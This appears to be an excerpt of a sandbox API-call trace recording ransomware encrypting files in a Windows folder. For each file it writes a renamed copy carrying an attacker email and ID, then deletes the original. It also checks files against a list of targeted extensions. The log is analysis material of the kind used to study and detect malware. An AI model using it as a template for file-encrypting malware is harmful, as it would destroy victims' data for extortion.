	[0074.488] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.488] SetEndOfFile (hFile=0x354) returned 1
	[0074.489] CloseHandle (hObject=0x354) returned 1
	[0074.490] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0074.490] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 1
	[0074.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0074.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0074.490] lstrlenW (lpString=".doc") returned 4
	[0074.490] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0074.490] lstrlenW (lpString=".docx") returned 5
	[0074.490] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0074.490] lstrlenW (lpString=".pdf") returned 4
	[0074.490] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0074.490] lstrlenW (lpString=".xls") returned 4
	[0074.491] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0074.491] lstrlenW (lpString=".xlsx") returned 5
	[0074.491] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0074.491] lstrlenW (lpString=".ppt") returned 4
	[0074.491] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0074.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0074.491] lstrlenW (lpString=".zip") returned 4
	[0074.491] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0074.491] lstrlenW (lpString=".rar") returned 4
	[0074.491] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0074.491] lstrlenW (lpString=".bz2") returned 4
	[0074.491] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0074.491] lstrlenW (lpString=".7z") returned 3
	[0074.491] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0074.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0074.491] lstrlenW (lpString=".dbf") returned 4
	[0074.491] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0074.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0074.491] lstrlenW (lpString=".1cd") returned 4
	[0074.491] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0074.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0074.491] lstrlenW (lpString=".jpg") returned 4
	[0074.491] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0074.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0074.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0074.491] lstrlenW (lpString=".doc") returned 4
	[0074.491] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0074.491] lstrlenW (lpString=".docx") returned 5
	[0074.491] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0074.491] lstrlenW (lpString=".pdf") returned 4
	[0074.491] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0074.491] lstrlenW (lpString=".xls") returned 4
	[0074.491] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0074.491] lstrlenW (lpString=".xlsx") returned 5
	[0074.492] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0074.492] lstrlenW (lpString=".ppt") returned 4
	[0074.492] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0074.492] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0074.492] lstrlenW (lpString=".zip") returned 4
	[0074.492] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0074.492] lstrlenW (lpString=".rar") returned 4
	[0074.492] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0074.492] lstrlenW (lpString=".bz2") returned 4
	[0074.492] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0074.492] lstrlenW (lpString=".7z") returned 3
	[0074.492] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0074.492] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0074.492] lstrlenW (lpString=".dbf") returned 4
	[0074.492] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0074.492] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0074.492] lstrlenW (lpString=".1cd") returned 4
	[0074.492] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0074.492] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0074.492] lstrlenW (lpString=".jpg") returned 4
	[0074.492] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0074.492] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0074.492] lstrlenW (lpString="Setup.exe") returned 9
	[0074.492] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0074.493] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=78152) returned 1
	[0074.493] CloseHandle (hObject=0x354) returned 1
	[0074.493] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 0x80
	[0074.493] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0074.493] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0074.493] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.493] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.493] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0074.493] GetLastError () returned 0x0
	[0074.493] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x13148, lpOverlapped=0x0) returned 1
	[0074.846] WriteFile (in: hFile=0x338, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x13150, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x13150, lpOverlapped=0x0) returned 1
	[0074.849] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.849] WriteFile (in: hFile=0x338, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xe6, lpOverlapped=0x0) returned 1
	[0074.849] SetEndOfFile (hFile=0x338) returned 1
	[0074.849] CloseHandle (hObject=0x338) returned 1
	[0074.852] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.852] SetEndOfFile (hFile=0x354) returned 1
	[0074.853] CloseHandle (hObject=0x354) returned 1
	[0074.853] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0074.853] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 1
	[0074.854] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0074.854] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0074.854] lstrlenW (lpString=".doc") returned 4
	[0074.854] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0074.854] lstrlenW (lpString=".docx") returned 5
	[0074.854] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0074.854] lstrlenW (lpString=".pdf") returned 4
	[0074.854] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0074.854] lstrlenW (lpString=".xls") returned 4
	[0074.854] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0074.854] lstrlenW (lpString=".xlsx") returned 5
	[0074.854] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0074.854] lstrlenW (lpString=".ppt") returned 4
	[0074.854] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0074.854] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0074.854] lstrlenW (lpString=".zip") returned 4
	[0074.854] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0074.854] lstrlenW (lpString=".rar") returned 4
	[0074.854] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0074.854] lstrlenW (lpString=".bz2") returned 4
	[0074.854] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0074.854] lstrlenW (lpString=".7z") returned 3
	[0074.854] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0074.854] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0074.854] lstrlenW (lpString=".dbf") returned 4
	[0074.854] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0074.854] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0074.854] lstrlenW (lpString=".1cd") returned 4
	[0074.854] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0074.854] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0074.854] lstrlenW (lpString=".jpg") returned 4
	[0074.855] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0074.855] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0074.855] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0074.855] lstrlenW (lpString=".doc") returned 4
	[0074.855] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0074.855] lstrlenW (lpString=".docx") returned 5
	[0074.855] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0074.855] lstrlenW (lpString=".pdf") returned 4
	[0074.855] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0074.855] lstrlenW (lpString=".xls") returned 4
	[0074.855] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0074.855] lstrlenW (lpString=".xlsx") returned 5
	[0074.855] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0074.855] lstrlenW (lpString=".ppt") returned 4
	[0074.855] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0074.855] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0074.855] lstrlenW (lpString=".zip") returned 4
	[0074.855] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0074.855] lstrlenW (lpString=".rar") returned 4
	[0074.855] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0074.855] lstrlenW (lpString=".bz2") returned 4
	[0074.855] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0074.855] lstrlenW (lpString=".7z") returned 3
	[0074.855] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0074.855] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0074.855] lstrlenW (lpString=".dbf") returned 4
	[0074.855] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0074.855] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0074.855] lstrlenW (lpString=".1cd") returned 4
	[0074.855] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0074.855] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0074.855] lstrlenW (lpString=".jpg") returned 4
	[0074.855] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0074.856] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0074.856] lstrlenW (lpString="SetupUi.dll") returned 11
	[0074.856] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0074.856] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=295248) returned 1
	[0074.856] CloseHandle (hObject=0x354) returned 1
	[0074.856] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 0x80
	[0074.856] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0074.856] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0074.856] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.856] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.856] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0074.857] GetLastError () returned 0x0
	[0074.857] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x48150, lpOverlapped=0x0) returned 1
	[0074.864] WriteFile (in: hFile=0x338, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x48160, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x48160, lpOverlapped=0x0) returned 1
	[0074.871] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.871] WriteFile (in: hFile=0x338, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xea, lpOverlapped=0x0) returned 1
	[0074.871] SetEndOfFile (hFile=0x338) returned 1
	[0074.871] CloseHandle (hObject=0x338) returned 1
	[0074.878] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.878] SetEndOfFile (hFile=0x354) returned 1
	[0074.881] CloseHandle (hObject=0x354) returned 1
	[0074.881] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0074.881] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 1
	[0074.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0074.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0074.882] lstrlenW (lpString=".doc") returned 4
	[0074.882] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0074.882] lstrlenW (lpString=".docx") returned 5
	[0074.882] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0074.882] lstrlenW (lpString=".pdf") returned 4
	[0074.882] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0074.882] lstrlenW (lpString=".xls") returned 4
	[0074.882] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0074.882] lstrlenW (lpString=".xlsx") returned 5
	[0074.882] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0074.882] lstrlenW (lpString=".ppt") returned 4
	[0074.882] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0074.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0074.882] lstrlenW (lpString=".zip") returned 4
	[0074.882] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0074.882] lstrlenW (lpString=".rar") returned 4
	[0074.882] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0074.882] lstrlenW (lpString=".bz2") returned 4
	[0074.882] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0074.882] lstrlenW (lpString=".7z") returned 3
	[0074.882] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0074.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0074.882] lstrlenW (lpString=".dbf") returned 4
	[0074.882] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0074.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0074.882] lstrlenW (lpString=".1cd") returned 4
	[0074.882] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0074.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0074.882] lstrlenW (lpString=".jpg") returned 4
	[0074.882] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0074.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0074.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0074.883] lstrlenW (lpString=".doc") returned 4
	[0074.883] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0074.883] lstrlenW (lpString=".docx") returned 5
	[0074.883] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0074.883] lstrlenW (lpString=".pdf") returned 4
	[0074.883] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0074.883] lstrlenW (lpString=".xls") returned 4
	[0074.883] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0074.883] lstrlenW (lpString=".xlsx") returned 5
	[0074.883] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0074.883] lstrlenW (lpString=".ppt") returned 4
	[0074.883] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0074.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0074.883] lstrlenW (lpString=".zip") returned 4
	[0074.883] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0074.883] lstrlenW (lpString=".rar") returned 4
	[0074.883] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0074.883] lstrlenW (lpString=".bz2") returned 4
	[0074.883] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0074.883] lstrlenW (lpString=".7z") returned 3
	[0074.883] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0074.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0074.883] lstrlenW (lpString=".dbf") returned 4
	[0074.883] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0074.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0074.883] lstrlenW (lpString=".1cd") returned 4
	[0074.883] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0074.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33
	[0074.883] lstrlenW (lpString=".jpg") returned 4
	[0074.883] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0074.883] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0074.884] lstrlenW (lpString="SetupUtility.exe") returned 16
	[0074.884] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0074.884] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=96088) returned 1
	[0074.884] CloseHandle (hObject=0x354) returned 1
	[0074.884] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 0x80
	[0074.884] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0074.884] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0074.884] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.884] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.884] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0074.885] GetLastError () returned 0x0
	[0074.885] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x17758, lpOverlapped=0x0) returned 1
	[0075.463] WriteFile (in: hFile=0x338, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x17760, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x17760, lpOverlapped=0x0) returned 1
	[0075.466] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.466] WriteFile (in: hFile=0x338, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xf4, lpOverlapped=0x0) returned 1
	[0075.466] SetEndOfFile (hFile=0x338) returned 1
	[0075.466] CloseHandle (hObject=0x338) returned 1
	[0075.468] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.469] SetEndOfFile (hFile=0x354) returned 1
	[0075.470] CloseHandle (hObject=0x354) returned 1
	[0075.470] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0075.470] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 1
	[0075.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0075.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0075.471] lstrlenW (lpString=".doc") returned 4
	[0075.471] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0075.471] lstrlenW (lpString=".docx") returned 5
	[0075.471] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1
	[0075.471] lstrlenW (lpString=".pdf") returned 4
	[0075.471] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0075.471] lstrlenW (lpString=".xls") returned 4
	[0075.471] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0075.471] lstrlenW (lpString=".xlsx") returned 5
	[0075.471] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1
	[0075.471] lstrlenW (lpString=".ppt") returned 4
	[0075.471] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0075.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0075.471] lstrlenW (lpString=".zip") returned 4
	[0075.471] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0075.471] lstrlenW (lpString=".rar") returned 4
	[0075.471] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0075.471] lstrlenW (lpString=".bz2") returned 4
	[0075.471] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0075.471] lstrlenW (lpString=".7z") returned 3
	[0075.471] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0075.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0075.471] lstrlenW (lpString=".dbf") returned 4
	[0075.471] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0075.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0075.471] lstrlenW (lpString=".1cd") returned 4
	[0075.471] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0075.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0075.471] lstrlenW (lpString=".jpg") returned 4
	[0075.472] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0075.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0075.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
